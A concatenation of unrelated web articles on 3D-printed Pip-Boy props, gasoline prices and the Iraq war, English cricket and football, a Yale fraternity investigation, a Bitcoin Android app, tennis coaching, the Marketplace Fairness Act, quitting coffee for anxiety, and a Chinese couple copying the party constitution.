3D Hubs, the company that offers access to a network of 26.000 3D printers around the world, has a special take on this. Here’s how you do it:
You download the files for a 3D printable pip boy. Then you head over to 3D Hubs and upload the models to their system. You choose the manufacturer to print out the parts. Ususally, this should be someone near your home, office etc.
Upon receiving your finished 3D printed parts, you need to assemble the pieces yourself and do the painting – and don’t forget to download the official Pip-Boy app on your smartphone.
But beware: Although 3D Hubs has preconfigured it for the most common smartphones, your phone might not fit easily. Also, the process of building this gadget is not for the faint at heart.
These Are The Pip-Boy Versions You Can 3D Print
Just some weeks ago, you had a choice of several 3D printed Pip-Boys at various 3D printing service providers. The majority could be found at Shapeways, which printed them professionally in a material of your choice.
The most ambitious bootleg PipBoy came from a guy called Christopher Howard (a.k.a. ShortCipher). As shown in the video below, the shells were printed in strong and flexible white plastic, and then painted over. The 3D prints consist of an upper and lower body. The print wasn’t too complicated, the two parts were attached via a hinge.
Most of the design files, unfortunately, have been taken down by their owners. We’re currently investigating if this happened as a precautionary measure from Shapeways, a hint from the copyright owners Bethesda or by the makers themselves – we’ll keep you updated.
Good News: There Are Pip-Boy 3000 Designs to 3D Print
1. Get it from MyMiniFactory
Great design, but no room for a smartphone with the companion app (image: MyMiniFactory)
There are plenty of stunning Fallout props available for 3D printing at MyMiniFactory. The easiest way to bathe in that post-atomic glow is to get the 3D printed Pip-Boy 3000 prop from here. Maker Jim has uploaded the files for 3D printing.
It’s a great gadget and design, but beware: This Pip-Boy 3000 isn’t able to hold a smartphone with the companion app for Fallout 4.
2. Pip-Boy for Moto 360 Motorola Smartwatch
A great hack for a Motorola Moto 360. But it doesn’t connect to the official companion app. (image: Instagram)
If you own a Motorola Moto 360 smartwatch, you can turn it into a great looking Pip-Boy 3000.
First, you need a Fallout themed watch-face. You’re lucky, because there are several available on the Google Play Store. Then, you need to 3D print and paint your custom Fallout Case for the Moto 360. You can find all the information in this article.
Thing is: It’s a great hack, but it doesn’t resemble the “real” Pip-Boy 3000. Also, it doesn’t connect to the companion app of the Fallout game, as it displays stats, date and time. Cool idea, though.
3. Build Your Own Pip-Boy from Adafruit / Ruiz Brothers
A 3D printed Pip-Boy is going to be the fashion accessory for serious geeks for the years to come. (image: Adafruit)
The guys at Adafruit have a thing for gamers. They released a nice, detailed guide on how to 3D print and build your own functional Pipboy 3000 using a Raspberry Pi and Adafruit 3.5″ PiTFT.
The 3D printed enclosure has cutouts for most of the IO ports for the Raspberry Pi. Meaning: You simply add peripherals like a WiFi dongle, keyboard, mouse or USB Geiger counter. It is powered by a 2200mAh battery that can be recharged over USB and fits inside the cylindrical case. Details like the super bright yellow LED, rotary encoder, speaker grill and faux gauges really make this look like a Pipboy 3000 Mark IV.
The software is pretty descent. The pypboy python program for the Raspberry Pi features OSM for map data which allows you to browse your terrain rendered in glorious retro green graphics. The case features an amp with speakers for music. An analog rotary switch lets you switch between different modes.
Be aware that this 3D printed Pip-Boy will take you a lot of time to print and assemble.
Download the whole instruction here.
4. A Pip-Boy Mark IV For Experienced Makers (And Even Better than the Original)
The fourth – and most elaborate piece – effort comes from maker Dragonator (Yvo de Haas). He built the most astonishing 3D printable Pip-Boy. Dragonator already did a version for Fallout 3, which can be found on Instructables.
For the new design of the newest Fallout game, he had to model after the known facts of the Fallout 4 Pip-Boy 3000: “The Pip-Boy is already extremely difficult to design with proper reference, but now there is only a teaser trailer and the E3 video. This does not give the kind of reference I usually have. Another challenge is the huge amount of features in the Pip-Boy 3000 Mark IV. I like to make as much features working as possible, and to get some of the features (most notably the tape player) working, was a real challenge. The people at Bethesda really tried their best to make the Pip-Boy as difficult as possible.”
Yvo De Haas also made some changes to the original design. “One of the first things that was obvious is that the old pip-boy, the Pip-Boy 3000, has been replaced with a different model, the Pip-Boy 3000 Mark IV. The new Pip-Boy has the buttons on the right instead of the left, and there are more buttons. It has a tape player on the top, and the opening mechanism is now defined.”, he writes on his website.
The best: His design is able to hold a smartphone – at least most of them. But “there is only one problem. Smartphones have become bigger since Fallout 3, and this Pip-Boy is smaller than the previous one. Bethesda has fixed this by breaking some of the proportions and dimensions to make a smartphone of decent size still fit. In some cases, dimensions are broken by around 1 cm (which is way more than it sounds like). For the phone version of this 3D printed version, the proportions have also been broken to make the phone fit.”
This is the “exploded” version of the PipBoy 3000, Mark IV (image: ytec3D)
So he made three versions, which only differ in size. You can download them for free.
Beware it is a complicated gadget to build. You should have considerable experience in tinkering, 3D printing and building stuff. Here the link to a very detailed general assembly of the 3D printed parts. Good luck!
5.Pip-Boy Mark II, Revised, Rad and Definitely on Steroids
As Maker Will Sweatman states: “This is my attempt to build the most advanced Pip-Boy 3000 on planet Earth, and I believe I’ve succeeded”. We couldn’t agree more.
This Pip-Boy 3000 Mark II has a ton of useful features: LEDs to show you the current state of your wearable, a working laser (!), a gas sensor, audio player with a built-in speaker (“Crawl out through the fallout, baby”), TV-b-Gone emitters, a working flashlight and a light sensor. Just take a look at the video:
The Mark II includes the following technologies:
4d Systems 4.3″ capacitive touch display
Adafruit 66 channel GPS
Sparkfun WTV020SD audio player
Adafruit L3GD20H 3-axis gyroscope
Adafruit LSM303 3-axis compass
Adafruit LSM303 3-axis accelerometer
Adafruit BMP180 barometric pressure/temperature sensor
Arduino Pro Mini 328p 5v 16MHz microcontroller
Adafruit PowerBoost 1000 power and charging system
4400mAh LiPo power pack
9 LED Flashlight
Frikin’ Laser
TV-B-Gone circuit (turns off hundreds of models of TVs)
3D printed PLA and laser cut acrylic body
Methane Gas sensor (used for RAD sensor)
Photon light detector
Also, there‘s a dedicated software to make your 3D printed Pip-Boy work the way it’s supposed to be.
The Mark II is based on the 3D printed Pip-Boy from Ytec (as seen above in #4). You can find all the blueprints,.STL files and other information needed on Instructables.
Beware: This is only for experienced makers, Level 50 and up.
6. Build A Lego Pip-Boy (No 3D Printing Involved)
This Pip-Boy was made from Lego bricks. Man, we’d love to see an Instructible on this fabulous piece (image: brosumi)
That’s the total opposite to the Pip-Boy Mark II – the low-cost approach.
This beauty was made by Reddit user brosumi. Unfortunately, he didn’t provide any build instructions, so you have to figure it out by yourself. What makes it especially cool are the different stickers and tubes, that make it look great. And we don’t want to speculate how a power armor suit would look like in Lego.
7. A Pip-Boy at Kamui Cosplay
The guys and gals at Kamui Cosplay have an in-depth tutorial on how to 3d print and assemble a working Pip-Boy. It still is based on the designs from Yvo de Haas (see point 3). |
in 1980, and the Persian Gulf conflict in 1990. The cost of crude oil has been the main contributor to recent increases in gasoline prices. World crude oil prices reached record levels in 2007 due mainly to high worldwide oil demand relative to supply. Other factors contributing to higher crude oil prices include political events and conflicts in some major oil producing regions, as well as other factors such as the declining value of the U.S. dollar (the currency at which crude oil is traded globally).
Okay, for EIA, the prime cause: supply / demand curves, but note "political events and conflicts".
Chris at Daily Liberty Research did a nice post on driving factors of oil prices with an interesting collection of articles, including the late June reporting that "OPEC President Chakib Khelil predicted that the price of oil will climb to $170 a barrel before the end of the year, citing the dollar’s decline and political conflicts…" Chris comes to this key conclusion:
[T]he main reasons for high gas prices are the weak dollar/inflation (aka the Federal Reserve), the current wars we are in, and the likelihood of the U.S. starting more wars in the near future.
National Security Network took a look at the issue as well, with a focus on the risk premium. They comment that "some experts estimate" a risk premium of $30 to $40 barrel due to tensions with Iran/etc. That is what my ‘off the top of the head’ figure would have been for risk premium. But, guess what: even the best analysts, when pushed away from reporters, seem call this a guess, a swag or, at best, an "educated" or "informed" estimate. And, of course, the risk premium doesn’t address the question of whether there would be more oil produced absent the US invasion and occupation of Iraq and sanctions against Iran. Nor does it address the question of how much of dollar’s fall is due to conflict in Iraq and tension with Iran.
A version of this discussion appeared at The Oil Drum. And, as always, the comments (okay, most comments there) were thoughtful and (often extremely) well informed. There were (just a few) comments that Iraq was irrelevant to gas prices. Others who focused on supply / demand, with one suggesting that about $1.50 of price premium is increased demand/tight supply with about $0.75 being Iraq. Some who tried to calculate what the market implications would be if Iraq and Iranian oil had been maximized, suggesting a major impact on gasoline prices. And, others who queried some of the ‘what if scenarios’.
Many focused on the extent to which Iraq and federal borrowing to pay for it has undermined the US dollar and thus contributed to gasoline price increases. One commenter took the approach of simply attributing 100% of US military operations to the cost of Iraqi oil production, placing it far more expensive per barrel produced than any conceived production project in the world. Another asserted that we sacrificed $0.99 gallon gasoline by the invasion, suggesting $3 increase at the pump. Jeffveil’s very thoughtful comment, which rejects the very concept of a risk premium, began/ended this way:
Hmmmm… this is a thorny issue. … the opportunity cost of the Iraq War may justify some of the price at the pump. Exactly how much? I’ll stick with you SWAG.
Back to a swag:
To place a little context, America’s gasoline at the pump, on average across the country, has gone up from $1.42 / gallon in January 2003 to $4.10 now. It has gone up $2.68. While there was already some ‘risk premium’ in place at that time (war drums beating), this suggests some form of upper bound on the discussion — but an upper bound that is well above $2 per gallon.
These, however, don’t clearly answer the questions. Is the Iraq war premium $3?$2.30? $2? A buck? Twenty cents? Or, is there no premium at all? I find a $3 per gallon assertion absurd, just as I would find it absurd to assert that there is no premium at all. But, in terms of defensible analysis, in scratching my head, I return to the short answer:
Two dollars a gallon is, perhaps, as good a swag as anyone’s. … I think.
But that is why this post is here. To spark a conversation. To be honest, I don’t know the answers to these questions. I wonder whether anyone really does. Which is one of the reasons why I’m writing this. I don’t know. I am not expert on gasoline prices and all the factors that coalesce to drive prices that are paid at the pump. Many here, however, are … Are the questions asked above the right ones? Are there major factors missing? And, what might the answers be? What is a ‘defensible’ statement as to the premium American drivers pay at the pump due to the Iraq War.
Peak Oil
Now, to finish, we must be careful. The Oil Drum published a piece yesterday highlighting that global declines in oil field productivity (core to Peak Oil) seem to be accelerating faster than analysis and reporting had suggested would occur.
The evidence seems to be pointing to an overall increase in the global decline rate for existing wells. What this means is that, if world production is around 86 million barrels a day, then to replace existing declines next year, an additional new production of 4.47 mbd at 5.2% decline, instead of the 3.87 mbd required at 4.5% decline, will be needed just to stabilize supply at a fixed level.
If things work well, opening up all of Alaska would add perhaps 900,000 barrels per day to the oil supply in a decade or so. Ignoring growing global demand for oil (Chinese ‘consumers’ wanting cars like America’s soccer moms and McSUV fans), we need to be finding and putting on line new oil the equivalent of 5% of current production year in, year out just to stay even. Ten years from now, that theoretical new US oil production would be less than 1/50th of the requirement to fill in that gap. (I don’t want to be in the should we, shouldn’t we discussion on that but to make it clear, in yet a different way, that those who are advocating "Drill Here! Drill Now! Pay Less!" are, in the politest words possible, deceitful on a level of nearly criminal negligence in terms of America’s and the globe’s future.) While it is an interesting intellectual discussion to battle over how much Iraq is responsible for today’s gasoline prices and a very sad discussion to have about ‘what if’ George the W had been a thoughtful President and the opportunity costs of not using these resources in a wiser fashion, the key challenge is to figure out and execute paths to get the US and the Globe on a planned (rather than forced) glide slope off oil (and off coal, Global Warming …). And, to get on this glide slope NOW.
We must Get Energy Smart! NOW!!!
At the pump and elsewhere, we are suffering the consequences for, as a society and individuals, our energy illiteracy and bad energy choices. The consequences are already dire. They will only get worse … unless we (as individuals, communities, businesses, governments at all levels, nations, global society) get our act together and start acting. WE have a choice …
Ask yourself: Are you doing your part to ENERGIZE AMERICA? Are you ready to do your part? Your voice can … and will make a difference. So … SPEAK UP … NOW!!!
PS: Energize America has a panel Friday morning, 9 am, at Netroots Nation. Please join Jerome a Paris, Devilstower, Energy Smart candidates Debbie Cook (CA-45) and Mark Begich (AK-Senate), and myself for a conversation about Energizing America: Setting an Agenda for Progress.Steven Croft has hit 797 Championship runs this summer
LV= County Championship Division Two, Spitfire Ground St Lawrence Kent 570-8 dec: Northeast 139, Key 113; Clark 3-87 Lancashire 259 & 258-4: Croft 72 not out, Davies 58 not out; Tredwell 1-17 Kent 12 pts, Lancashire 8 pts Match drawn Match scorecard
Lancashire won promotion back to Division One after securing the draw they needed against Kent at Canterbury.
The visitors, who were relegated last season, only lost two wickets on the final day as their innings was anchored by captain Steven Croft's unbeaten 72.
Haseeb Hameed made 44 and Alex Davies hit 58 not out as Lancashire reached 258-4 when the captains shook hands.
Lancashire will be joined by Surrey in the top flight after they also clinched promotion on Friday.
The Red Rose county, who have only lost once in the Championship this summer, needed just five points from the match to make a return to Division One.
Lancashire - the yo-yo years After winning the County Championship in 2011, Lancashire were relegated to Division Two in 2012. They won promotion in 2013, but were relegated again the following season.
Lancashire, who won the T20 Blast last weekend, missed out on securing maximum batting bonus points which would have taken them up on Thursday after being bowled out for 259 in their first innings, but they showed far more resistance second time around.
It was initially led by 18-year-old Hameed who, playing in just his second first-class match, batted for more than three hours and faced 138 balls before his stumps were sent flying by Calum Haggett.
The wickets of Hameed and Ashwell Prince (39) either side of lunch left Lancashire 138-4, but any nerves were steadied by Croft and wicketkeeper Davies who batted for the best part of two sessions.
Croft faced 209 balls and 21-year-old Davies stood firm for 153 deliveries as they put on an unbroken 120 for the fifth wicket, with Kent spinner James Tredwell sending down 20 overs for just 17 runs.
Lancashire play Surrey, who leapfrogged them at the top of the table following their win over Derbyshire, at Old Trafford beginning on 14 September in what could be a title-deciding game.
Lancashire cricket director and head coach Ashley Giles:
"It was a strange week because we should be absolutely over the moon, but there are parts of this game that we're a bit disappointed with how we've played.
"It's probably our worst game in the Championship, although we've come away with a draw. We lost to Gloucester at home, but probably played better cricket.
"We've done what we came to achieve, which at the start of the year was promotion and winning the T20 at the start of the week was an amazing feeling for everyone.
"Today, I thought they were brilliant. This morning we asked for that resilience and fight. Good sides win a lot, but they also become very difficult to beat. Those four guys, particularly, I thought it was a really fantastic effort."
Kent all-rounder Darren Stevens:
"To be fair, they batted brilliantly and we've already spoken about how many of our lads would have the temperament to do the same thing.
"It was a great effort."But now his resignation leaves owner Ellis Short's plans in disarray
Former Chelsea scout has been seeking to rebuild the club for 18 months
Sunderland sporting director Lee Congerton has handed in his notice and is set to follow Dick Advocaat out of the Stadium of Light, Sportsmail understands.
We revealed on Friday that Advocaat will quit the club in the coming days having become disillusioned with the quality of his squad.
But Congerton’s resignation has left the Black Cats in complete disarray.
Scroll down for video
Sunderland sporting director Lee Congerton (second left) has handed in his resignation notice at the club
Congerton's decision leaves owner Ellis Short (centre) searching for a new blueprint for the entire club
The 42-year-old former Chelsea scout was the man installed by owner Ellis Short with the remit of rebuilding the football club.
But after just 18 months in the role he has decided he can no longer carry on, although it remains unclear if he will have to work a notice period.
Sources say Congerton felt his hands were tied given financial restraints in the transfer market and the fact that managers such as Gus Poyet were allowed to bring in their own players, who he felt were not good enough.
Meanwhile, we broke the news on Friday morning that Advocaat was considering his future.
The loss of Congerton, though, leaves Short searching for a new blueprint for the entire club.
On the field, the team are heading for the Championship and relegation could prove disastrous given the financial reward of being in the Premier League next season.
Sportsmail revealed on Friday that manager Dick Advocaat is set to depart, with Congerton now due to follow
Sunderland are in complete disarray, and face West Ham on Saturday afternoon without a win this season
They face West Ham United on Saturday afternoon where defeat would leave them bottom and without a win heading into the second international break.
Club sources say that a meal with Advocaat's backroom team this week had a 'farewell feel' to it for the manager and it is thought the Dutchman has already arranged for flowers to be given to some support staff.
It is the talk of the Academy of Light training ground that the Dutchman is set to leave and, while the players have not formally been told, they fully expect to have a new manager in the coming weeks.
Advocaat is set to quit as Sunderland boss even if he leads his side to victory against West Ham this weekend
Burnley boss Sean Dyche (left) and former Leicester manager Nigel Pearson are in the running to take charge
Burnley boss Sean Dyche and former Leicester City chief Nigel Pearson are two of the names in the frame.
Advocaat's press conference on Friday descended into farce when he first appeared to deny the story about him quitting, before refusing to commit his future to the club and then saying 'things can change in a day'.
He eventually walked out after questions on the subject continued.
However, he did say: 'I always think in facts. The fact is it is now Friday and I am manager of Sunderland.
Billy Jones, John O'Shea and Lee Cattermole applaud the fans after defeat against Manchester United
Sunderland owner Short could be forced to look for his fifth manager while seeing his club blueprint torn up
NO RESPITE FOR DILIGENT DICK Dick Advocaat saved Sunderland from relegation last season, winning the Tyne-Wear derby 1-0 with a Jermain Defoe goal against Newcastle in his second match on a run of 12 points from nine games. They survived on the penultimate weekend. But this season has been a flop with just two points so far — and the only win from nine matches coming against League Two Exeter City in the Capital One Cup.
'But what will happen on Sunday, or a week after Sunday, or nine months after Sunday. Then I will tell you the real story.
'When I think it is time to do something then I will do so.' He added: 'The fact is you can be ill tomorrow. Why do you always talk about "if, if, if". The fact is I am here and tomorrow I am here.
'But what happens after that – it is the same for all managers – things can change in a day, in a week, in a month, in nine months.'
It now appears that Advocaat has had enough and, with the fear of a first relegation in 28 years of management, will return to Holland during the international break.
Advocaat enjoys a joke with compatriot Louis van Gaal prior to last week's 3-0 defeat at Old Trafford
The search for a new boss will then begin with Dyche the leading candidate having been top of their list before Advocaat's U-turn in June.
But the immediate availability of Pearson - and no compensation payment - will appeal to the club following his sacking at Leicester.Last month, Yale University’s Sigma Alpha Epsilon faced national scrutiny after the viral allegation it held a “white girls only” Halloween party.
SAE’s president temporarily left school due to the backlash and said he was spat on by a fellow Yale student.
Black members of SAE were reportedly taunted on campus with the epithet “Uncle Tom.”
Students rallied and raged behind SAE’s supposed racism as emblematic of larger problems of discrimination and injustice at Yale.
However, following an investigation into the Halloween allegation that involved interviewing SAE members and party guests, Yale University announced today in a school-wide email there was “no evidence of systematic discrimination against people of color.”
According to the Yale Daily News, Yale College Dean Jonathan Holloway shared the conclusion of the investigation, which was led by Burgwell Howard, the Dean of Student Engagement, along with a representative from the Office for Equal Opportunity Programs.
According to the Yale Daily News:
In his email, Holloway wrote that Howard’s investigation of SAE, which consisted of interviews with party guests and SAE members, found “no evidence of systematic discrimination against people of color.” Before the party became crowded, all students—including men and women of color—were admitted on a first-come, first-served basis. Still, as the evening continued, Holloway said, the party became crowded and admission became “restricted” and “subjective,” with hosts using “harsh language” with students seeking entry, according to student reports. Two students provided administrators with credible accounts of overhearing, or being told by either one or two SAE members, that admission was for “white girls only.” But no one else interviewed by the administration reported hearing the statement, and SAE members interviewed during the investigation also denied the allegation, according to Holloway’s email.
The Yale Office for Public Affairs and Communication did not respond to any of The Daily Beast’s requests for commentary on the investigation nor questions about which or how many students were questioned.
The allegation that SAE had a “white girls only” admission policy at its Oct. 30 Halloween party traveled fast around the web after Yale sophomore Neema Githere posted the claim on Facebook Oct. 31:
“I’d just like to take a moment to give a shoutout to the member of Yale’s SAE chapter who turned away a group of girls from their party last night, explaining that admittance was on a ‘White Girls Only’ basis; and a belated shoutout to the SAE member who turned me and my friends away for the same reason last year. God Bless the USA”
She edited her post a few hours later to add:
“**If you think that I am lying, I urge you to read the comments below and see the ridiculousness that other students have experienced on this campus. If anyone reading this has experienced or witnessed a similar situation, PLEASE reach out/share your story below/ANYTHING.”
Within days, national news outlets were carrying Githere’s account, but a Daily Beast interview with her in early November raised questions about her claim.
Githere said that it wasn’t until a friend reminded her of an allegedly racist encounter at SAE the year before that she “realized the same thing happened to us.”
Githere added that “a lot of my memory is blurred because I was drunk.”
While she stated in her Facebook she was turned away, in the account she gave The Daily Beast, Githere said she and her friends left after one of her male friends became “belligerent” when he allegedly overheard SAE members say to each other there were too many black women. “We had to pull him away because we didn’t want to get in a fight.”
Githere did not respond to The Daily Beast’s request for comment on the investigation’s results.
Yale’s SAE chapter denied the allegation from the get-go. Last month, SAE president Grant Mueller told The Daily Beast that he was cooperating with the investigation and had also questioned his fraternity brothers.
Mueller told The Daily Beast today in an email that he knew Yale administrators were suspicious of the claim fairly early into their questioning.
“I found out very early on, maybe five days into the investigation, that the university had found pretty conclusive evidence that there was no discriminatory door policy,” Mueller said.
However, he heard the official conclusion around the same time it was shared with the Yale community.
“As for the results of the part of the investigation on whether or not the words were said, I found out just before the email was sent out. I spoke about them with Dean Holloway on the phone briefly before the email was released,” Mueller said.
“I feel relieved to have the third party investigation concluded and that due process has run its course.”
Anger over the “white girls only” SAE accusation coincided with a backlash against Yale lecturer Erika Christakis.
Christakis had sent an email to students in the dorm, Silliman College—which she oversees with her husband, Nicholas—criticizing the policing of Halloween costumes.
“Nicholas says, if you don’t like a costume someone is wearing, look away, or tell them you are offended,” Christakis wrote. “Talk to each other. Free speech and the ability to tolerate offence are the hallmarks of a free and open society… Whose business is it to control the forms of costumes of young people? It’s not mine, I know that.”
The two Halloween incidences unfortunately both validated and magnified Yale students’ outrage over perceived racial inequalities and injustices on campus.
Nicholas Christakis faced a mob of shouting and cursing students (which was caught on video). “Many student protesters called for the Christakises’ dismissal from Silliman,” reported The Washington Post.
The demonstrators succeeded, at least somewhat.
The New York Times reported Monday that Erika Christakis will resign from teaching and Nicholas Christakis will take a one-semester sabbatical. They will continue in their adminsitrative roles as house masters of Silliman College.
In November, Yale president Peter Salovey apologized to a group of minority students who called for the dismissal of the Christakises, according to a Washington Post report. While he didn’t promise to fire the pair, he appeared to fall on his sword.
“We failed you,” Salovey told them. “I think we have to be a better university. I think we have to do a better job.”Have you been hoping for a bit more convenience when you use your Bitcoin currency? Developer of the app, Brian Armstrong has introduced to the Android Market an app just for that purpose. You can now send and receive coin from your Android device. As with any application under development, use at you’re own risk.
Over at github social coding the development of the application is being recorded, and the code is completely open source and can be accessed by anyone wanting to contribute. Hit the break for a video and more on the features with-in the app.
Send/Receive bitcoins entirely from your phone (no server component required)
Scan and generate QR codes to share address, amount, etc between devices
Recognizes the Bitcoin URI format
Creates transactions in the absence of internet (will retry when you reconnect)
Email invoices from your phone to request money
Wallet file backed up in the cloud (synced to your Google account) in case you lose your phone.
A free app, 100% open source
[via tnw]Now Cahill and Groeneveld are dueling on the W.T.A. Tour as coaches of Halep and Sharapova, who is now No. 5.
“I think it took incredible guts and also a lot of foresight to put something like that in play,” Cahill said of the Adidas program. “Over the course of the seven years I was with Adidas, just about every Adidas player at some point either sat down and had a coffee to talk about tennis or came to Vegas and did some full-time training or got some full-time coaching.
“I think the tough thing for Adidas is it’s hard to monetize the return they got from the investment. And while a lot of the players used it, I’m not sure Adidas got the credit it probably could have gotten.”
The coaching restrictions were also problematic. Cahill was not allowed to give advice or sit in a player’s box when two Adidas players faced each other. The issue reared its head regularly, including last year at the United States Open, where Halep, already working closely with Cahill, had to do without his input before she faced Flavia Pennetta, another Adidas player, in the semifinals.
Pennetta pulled off the upset and went on to win her first Grand Slam singles title.
“We couldn’t work against another Adidas player regardless of whether or not they were in the program,” Cahill said. “I’ve been Simona’s full-time coach basically since Wimbledon, and in Cincinnati, she played Kiki Mladenovic in the first round, Andrea Petkovic in the second round and Anastasia Pavlyuchenkova in the third. So the first three matches she played I couldn’t do any strategic talk about the way she should play against her opponent, because she was playing another Adidas player.
“And so it was difficult at times because for the program to work, Adidas need results. So they needed Simona to play well, but I couldn’t do my job against another Adidas player.”
That constraint is now gone, with Halep having hired Cahill as her personal coach.
“He’s mine, all mine,” Halep said last week before withdrawing from a tournament in Brisbane, Australia, because of the Achilles pain.The Marketplace Fairness Act, which would allow states the mechanism to start collecting taxes for online sales, overwhelmingly passed a Senate cloture vote Monday night, circumventing regular order and drawing concern from a minority of Senators over the end of the debate on the proposal. Seventy four Senators voted in favor of the motion, while 20 dissented.
Prior to the vote, many Senators took the floor expressing their disdain for the process the bill was going through, avoiding regular order and a vetting process, which would include a committee markup in the Senate Finance Committee.
“Regular order is not a process designed to protect the power and committee structures…but to make sure that the legislation we pass is technically sound,” Utah Sen. Orrin Hatch argued.
“A bill of this magnitude would benefit from a full committee mark up,” Republican Hatch said, noting that he is not fundamentally opposed to the legislation, but rather the avenue that it is going down. “I simply want to ensure that it is fully vetted and examined.”
“Here we are again, not going through regular order,” echoed Sen. Kelly Ayote, a New Hampshire Republican.
Many of the senators who joined Ayotte on the Senate floor represent states that, like New Hampshire, do not have a state sales tax and argue the passage of this bill will be consequential for their small businesses.
“Who is policing all of this?” asked Democratic Montana Sen. Max Baucus, who also represents a non-sales tax state. “The bill as written has no audit or enforcement mechanism.”
“This legislation is rife with unintended consequences,” Baucus added. One consequence cited was the states’ potential power to collect sales tax on financial transactions done online, specifically on Americanss 401(k) accounts.
“Tell me how does this grow our economy and grow our jobs?” he asked.
The only state without a sales tax that supports the bill is Delaware.
The bill has had both support and critics on both sides of the aisle. Recently, however, many conservative figures have come out in support for the bill, including former Reagan economic advisor Art Laffer, whose earlier Wall Street Journal op-ed was cited many times Monday afternoon.
The Wall Street Journal editorial board however remains opposed to the measure, as does the conservative Heritage Foundation’s Heritage Action, which issued a “No” in scoring the bill.
Illinois Sen. Dick Durbin noted that regular order was not needed given the Senate’s overwhelming support of the bill, which was shown in a non-binding amendment vote last month that passed 75-24. Sen. Mike Enzi, a Wyoming Republican, has spent 12 years working on the issue.
“This bill does not create one new tax,” Durbin maintains. “We don’t have the power to increase a state tax…It’s simply an act of compliance and collection.”
The National Retail Federation commended the Senate on their vote.
“Congress needs to address this disparity and NRF urges the Senate to pass the Marketplace Fairness Act this week,” the group’s President and CEO Matthew Shay said in a statement.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.At times, my anxiety spikes so much that I'm motivated to do whatever it takes to lessen it. Even if that means giving up coffee. And did I mention that I really, really coffee? Like, everything about coffee -- the, the taste, the ritual, the warmth of the cup in my hands, the feeling of joy in my heart when I take that first sip. Some might even say that I have a coffee.
I've been able to quit coffee a few times, but it's never lasted very long. My most successful break from coffee happened eight years ago. I was acting and waiting tables at the time, and leading up to my coffee detox, I remember asking another waitress who was in graduate to be a social worker if she thought I had Generalized Anxiety Disorder because I was so. All. The. Time. Or maybe I just drank too much coffee?
I quit caffeine and soon after, went on a weeklong yoga retreat in Mexico that involved daily intense three-hour yoga classes, eating tons of fresh fruits and vegetables, and sipping smoothies on the beach. Without coffee on this trip, I slept soundly, woke up on my own before 7am, and was bursting with energy. I've often thought if I were ever going to quit coffee again, I'd have to live in Mexico and do three hours of yoga a day.
Then there was the time five years ago when I quit coffee as my New Year's Resolution. On New Year's Day (yes, that would be the same day I made my resolution), I was going to brunch with a friend and on the way there she wanted to stop at a neighborhood coffee shop known for its strongly brewed beverages; one whiff of the coffee-filled air and my resolve dissolved.
But about a month ago I was so consumed with anxiety that I got a glimpse of just how much it was affecting the quality of my life. I didn't want to spend every day tormented by a constant stream of worried thoughts, and incessantly accompanied by the tightness of anxiety wrapping itself around my chest and twisting my stomach into knots. I reached a point where I had to do something. So I gave up coffee and switched to iced green tea; even though it's caffeinated, it doesn't make my mind and heart race like coffee does.
Going off coffee, what I'd hoped for is that I'd never be anxious, ever again. That didn't happen. Initially, the results were amazing: I felt calm and more focused, and my mind was uncharacteristically quiet. But then, I got anxious. And the anxiety was as bad as it's been when I was drinking coffee. What I realized is, off coffee, I still get anxious. And when I'm anxious, I'm anxious. But the difference is, I'm not anxious all the time, or for no reason. So the payoff has been good enough to keep me on the wagon.
And what's helped me not cheat is having a coffee detox support group on Twitter. The same weekend I was thinking about giving up coffee, one of my Twitter who I tweet with about how much we love coffee also decided to give up coffee. So now a few of us tweet about our #coffeedetox and how long we've been off coffee, instead of how delicious the latte we just had was or when we're planning to get our next coffee fix.
I've been off coffee for one month and counting. Some days it's easy and I have no desire to indulge, especially thinking about how jittery it would make me. Other days as I stand at the bar at Starbucks waiting for my iced green tea, I tilt my head back and stare longingly at the picture alongside the drink menu of a luscious iced coffee, its cascading swirls of milk and glass glistening with condensation. And on those days I feel like a life without coffee, like a life without warm Italian bread and melted butter, or a life without ice cream, is bleak and barren.
I'm not completely cured of anxiety, abiding in a permanent state of blissful tranquility. Without coffee, though, I notice small improvements and more moments of calm. But I miss (need?) coffee. For now, I'm enjoying getting some relief from anxiety, thinking that an occasional decaf wouldn't be so bad, and taking my coffee detox one day at a time.Newlyweds transcribed 17,000-word text as part of a national campaign designed to raise awareness of the party’s rules
In what may rank as one of the least romantic wedding nights in history, a Chinese couple reportedly spent their first night of marital bliss transcribing the Communist party’s 17,000-word constitution as part of a campaign designed to shore up support for President Xi Jinping’s administration.
Photographs posted on social media showed the newlyweds – both civil servants from the eastern province of Jiangxi – perching next to a balloon-covered double bed as they copied out parts of the 11-chapter text.
Li Yunpeng and his bride, Chen Xuanchi, saw the task as a way of creating “beautiful memories” of their wedding night, their employer, the Nanchang railway bureau, wrote in an online message.
The state-run Global Times said last Sunday’s post-nuptial transcription session was part of a Beijing-backed campaign called Copy the Chinese Communist party constitution for 100 days.
The initiative, which was launched in March, is part of a “national education campaign” designed to raise awareness of the party’s constitution, its rules and the speeches of its general secretary, Xi Jinping.
Facebook Twitter Pinterest The couple wrote out chunks of the 11-chapter constitution Photograph: Nanchang Railway Bureau
The Global Times said its main targets were party members with “wavering confidence in communism and socialism with Chinese characteristics, as well as those who advocate western values, violate party rules, work inefficiently or behave unethically”.
Since taking power in late 2012, Xi has vowed to reinvigorate the 87 million-member party, cracking down on official corruption and rooting out unwelcome foreign influences, such as freedom of speech and western-style democracy.
Chinese internet users were quick to mock the Communist party for gatecrashing the couple’s honeymoon. “I have to say this must be the most ridiculous and hilarious thing the party has ever done,” one wrote on Weibo, China’s answer to Twitter. “Does the party teach them how to make love?” wondered another.
Facebook Twitter Pinterest Photographs of the couple next to their balloon-covered bed were posted on social media. Photograph: Nanchang Railway Bureau
Those comments appeared to hit a nerve. An article on the matrimonial transcription appeared to have been deleted from the website of Caijing, a leading news magazine, on Wednesday afternoon.
The Communist party’s constitution, last updated in 2012, makes up in Mao Zedong thought for what it lacks in the way of marriage guidance. But some excerpts of its chapter on party membership might also prove conducive to a life of wedded bliss.
Clause six of article three encourages members to “earnestly engage in criticism and self-criticism, boldly expose and correct shortcomings and mistakes in work and resolutely combat corruption and other negative phenomena”.
Clause five urges readers to “be loyal to and honest with the party, match words with deeds, firmly oppose all factions and small-clique activities and oppose double-dealing and scheming of any kind”.
Additional reporting by Christy YaoES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
Sadiq Khan is waiting for the final confirmation he is the new Mayor of London.
